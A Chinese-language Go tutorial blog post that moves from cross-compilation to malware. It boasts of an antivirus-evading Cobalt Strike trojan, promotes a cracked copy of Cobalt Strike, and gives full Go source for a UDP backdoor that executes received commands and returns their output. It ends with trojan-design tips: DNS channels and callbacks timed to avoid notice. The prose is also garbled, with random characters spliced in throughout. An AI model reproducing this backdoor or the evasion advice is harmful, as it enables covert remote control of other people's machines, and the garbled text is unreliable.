目錄
一夕吻、二進(jìn)制編譯
二班缎、白帽子覺醒
三潮酒、Golang進(jìn)階
一怠缸、二進(jìn)制編譯
我們首先來明確一個(gè)問題,編譯意味著什么童擎?
脫離環(huán)境卵迂,脫離依賴運(yùn)行气破!
我們知道济锄,python也是可以編譯的暑椰,但是需要借助第三方包來完成,但是在最新的python3中兼容極差拟淮,而且對(duì)系統(tǒng)的位數(shù)架構(gòu)各種條件苛刻干茉,即使如此,依然隨時(shí)崩掉很泊,各種缺包。我丟沾谓!
Go語言的編譯需要用到build方法:
usage: go build [-o output] [-i] [build flags] [packages]
關(guān)于其跨平臺(tái)編譯委造,我們可以使用env方法查看系統(tǒng)當(dāng)前環(huán)境變量。
C:\Users\Administrator\Desktop\gotest>go env
set GO111MODULE=
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\Administrator\AppData\Local\go-build
set GOENV=C:\Users\Administrator\AppData\Roaming\go\env
set GOEXE=.exe
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GONOPROXY=
set GONOSUMDB=
set GOOS=windows
set GOPATH=C:\Users\Administrator\go
set GOPRIVATE=
set GOPROXY=https://proxy.golang.org,direct
set GOROOT=C:\Go
set GOSUMDB=sum.golang.org
set GOTMPDIR=
set GOTOOLDIR=C:\Go\pkg\tool\windows_amd64
set GCCGO=gccgo
set AR=ar
set CC=gcc
set CXX=g++
set CGO_ENABLED=1
set GOMOD=
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOGCCFLAGS=-m64 -mthreads -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=C:\Users\ADMINI~1\AppData\Local\Temp\go-build723886514=/tmp/go-build -gno-record-gcc-switches
其中有兩條均驶,GOOS和GOARCH昏兆,分別代表目標(biāo)操作系統(tǒng)和目標(biāo)處理器的架構(gòu):
set GOHOSTARCH=amd64
set GOHOSTOS=windows
#操作系統(tǒng)目前支持:
darwin
freebsd
linux
windows
android
dragonfly
netbsd
openbsd
plan9
solaris
#GOARCH目前支持:
arm
arm64
386
amd64
ppc64
ppc64le
mips64
mips64le
s390x
我們只需要控制這兩個(gè)參數(shù),即可實(shí)現(xiàn)定制編譯妇穴。
比如我們像在“某著名”的Linux系統(tǒng)ParrotSec上運(yùn)行我們的程序爬虱,但我們并不打算安裝golang的運(yùn)行環(huán)境。
我們查看下目標(biāo)系統(tǒng)的架構(gòu):
我們以上一章寫的小爬蟲為例:
set GOARCH=amd64
set GOOS=linux
go build -o icu icu.go
我們可以看到腾它,完美運(yùn)行跑筝!順便提一句,此次環(huán)境變量變更僅對(duì)當(dāng)前窗口有效瞒滴,請(qǐng)放心食用曲梗。
Go語言的生成就不必說了赞警,最無腦的,直接build就可以了虏两。
最后再說一點(diǎn)愧旦,借助IDE build會(huì)更加方便:
二、白帽子覺醒
好啦定罢,接下來開始提及彩蛋了笤虫,先說一個(gè)我最早接觸Go語言的初衷,去年十一月的一張截圖:
virscan 49項(xiàng)殺軟靜態(tài)檢測通關(guān)祖凫,對(duì)的琼蚯,這是一個(gè)Cobalt Strike的木馬,因?yàn)間o語言目前確實(shí)也算個(gè)偏冷門的語言蝙场,其編譯方式似乎并不為各大殺軟廠商關(guān)注凌停。好啦,說的有點(diǎn)多了售滤,其實(shí)沒必要放出具體的實(shí)現(xiàn)方式罚拟,公開的第二天肯定會(huì)被正則收錄,大家可以把免殺思想向這邊靠攏完箩。
順便一提赐俗,最新的cs4.0無后門漢化完美破解版已經(jīng)被上傳到TideSec官方公眾號(hào)的后臺(tái)了,關(guān)注回復(fù)cs
即可下載弊知,唉阻逮,真香。
然而秩彤,接下來我們想玩的方向叔扼,并不打算依賴CS,因?yàn)槲覀冴P(guān)注的東西亦是廠商所關(guān)注的漫雷,在功能需求并不高的情況下瓜富,我們完全可以自行定制我們的木馬。而且降盹,不要忘了与柑,cs木馬可不支持Linux。
雖然篇幅有限蓄坏,但我們?nèi)匀粐L試下在Window平臺(tái)做個(gè)小小的mua~
命令執(zhí)行借助os/exec包完成价捧,執(zhí)行命令可以使用Run() 或者Start() 方法,其中Run是阻塞的執(zhí)行涡戳,Start() 是非阻塞的執(zhí)行结蟋,這里作為舉例,我們僅嘗試實(shí)現(xiàn)簡單的系統(tǒng)命令(也是為了限制用途妹蔽,2333)椎眯。
我們選用網(wǎng)絡(luò)編程章節(jié)的樣例挠将,做一個(gè)小小的UDP木馬,僅實(shí)現(xiàn)簡單的命令執(zhí)行编整,不做任何免殺處理舔稀,可以看到代碼區(qū)別,僅增加了個(gè)runcmd()方法,當(dāng)然了掌测,作為一個(gè)木馬我們不需要他做輸出内贮,但為了展示直觀,我們保留輸出語句:
func main() {
udpAddr, _ := net.ResolveUDPAddr("udp", "127.0.0.1:8000")
listener, err := net.ListenUDP("udp", udpAddr)
checkErr(err)
fmt.Println("Start listening ... ")
defer listener.Close()
task(listener)
}
func task(conn *net.UDPConn) {
defer conn.Close()
buf := make([ ]byte, 2048)
for{
n, addr, err := conn.ReadFromUDP(buf)
checkErr(err)
fmt.Printf("read buf = %s\n", string(buf[:n]))
go func(){
response:=runcmd(string(buf[:n]))
conn.WriteToUDP([]byte(response),addr)
}()
}
}
func runcmd(command string)string{
cmd := exec.Command(command)
buf, _ := cmd.Output()
return string(buf)
}
然后汞斧,我們嘗試模擬木馬命令執(zhí)行功能:
一個(gè)簡單的木馬就做好了~就這夜郁??粘勒?當(dāng)然功能還差很多竞端,字符編碼、反向連接庙睡、異常處理事富、系統(tǒng)命令完整支持、常用功能封裝函數(shù)化等等等等乘陪,我們放到后面慢慢來统台。
順便瞅一眼靜態(tài)免殺情況,emmmm啡邑,可能功能太少了贱勃,殺軟暫時(shí)看不在眼里,后期我們慢慢增加功能再來測試谤逼。ok贵扰,一個(gè)只具備簡單命令執(zhí)行的UDP小馬就到這里了!
一個(gè)優(yōu)秀的木馬應(yīng)該具備什么功能流部?也是我們以后研究的方向拔鹰,知彼知己百戰(zhàn)不殆。
這里分享幾點(diǎn)冷門見解:
1贵涵、協(xié)議,dns>udp>tcp,dns馬這里沒涉及恰画,我們后期嘗試宾茂。
2、特定時(shí)段上線拴还,比如凌晨兩點(diǎn)到三點(diǎn)跨晴,打開連接,其他時(shí)間后臺(tái)隱匿片林。
3端盆、功能沒必要全怀骤,尤其是小馬,定位明確-穩(wěn)定會(huì)話焕妙,功能與風(fēng)險(xiǎn)共存蒋伦,不論攻防。
三焚鹊、Golang進(jìn)階
如你所見痕届,Golang的入門教程就到這里了,我省略了很多東西末患,切片的高階應(yīng)用研叫、接口的多層嵌套、反射等等等等璧针,但是我也加入了很多常見的書籍中沒有的內(nèi)容嚷炉,數(shù)據(jù)庫編程、socket編程探橱、web編程等申屹,目標(biāo)其實(shí)很明確,這個(gè)系列面向的對(duì)象是需要短時(shí)間可以掌握一門編程語言的人走搁,我涉獵了很多方向独柑,卻沒有牽扯太多細(xì)節(jié)。
因?yàn)樽罱诩掖龢I(yè)私植,學(xué)習(xí)Golang一共用了8天左右忌栅,每天從中午到凌晨,(為什么是中午曲稼?索绪??起不來贫悄。瑞驱。。)窄坦,因?yàn)橛袕?qiáng)迫癥唤反,我在很多細(xì)節(jié)方面浪費(fèi)了很多沒意義的時(shí)間,我想說的是鸭津,在教程開始我就說了彤侍,兩周時(shí)間,某主播直播教學(xué)逆趋,零基礎(chǔ)學(xué)Golang盏阶,完全可行!車闻书!上它名斟!
接下來脑慧,與其說Go語言學(xué)習(xí)的結(jié)束,倒不如說Go入坑的開始砰盐。主要安排分為兩個(gè)方向:
一闷袒、滲透工具包:致敬K8gege,我最仰慕的大佬之一楞卡,模仿ladon的功能霜运,加入自己的需求希望可以推出一款穩(wěn)定的內(nèi)網(wǎng)滲透工具包,當(dāng)然周期可能較長蒋腮,所以可能分模塊慢慢來淘捡。
二、定制木馬:木馬定制一直都是土豪專屬池摧,據(jù)我所知焦除,圈內(nèi)的行情木馬價(jià)格10-*0w不等,友情價(jià)小馬2-*w不等作彤,當(dāng)然我們有時(shí)候沒必要取值過一個(gè)功能全面的大馬膘魄,一個(gè)會(huì)話穩(wěn)定支持upload/rce功能的小馬即可。而且再多說一句竭讳,又有多少人接觸過Linux木馬创葡,Golang跨平臺(tái)穩(wěn)定的二進(jìn)制編譯,我認(rèn)為再適合不過了绢慢。
emmm灿渴,這部分內(nèi)容只代表個(gè)人的一點(diǎn)行業(yè)見解,如有瑕疵還請(qǐng)各位大佬海涵胰舆,另外接下來的學(xué)習(xí)也歡迎大家參與討論骚露!
什么?途徑缚窿?ParrotSec中文社區(qū)歡迎您棘幸!https://parrotsec-cn.org
Web、挖掘機(jī)倦零、開發(fā)误续、Linux、烹飪扫茅、CTF女嘲、逆向、iot诞帐、女裝,你喜歡的爆雹,我們都有停蕉!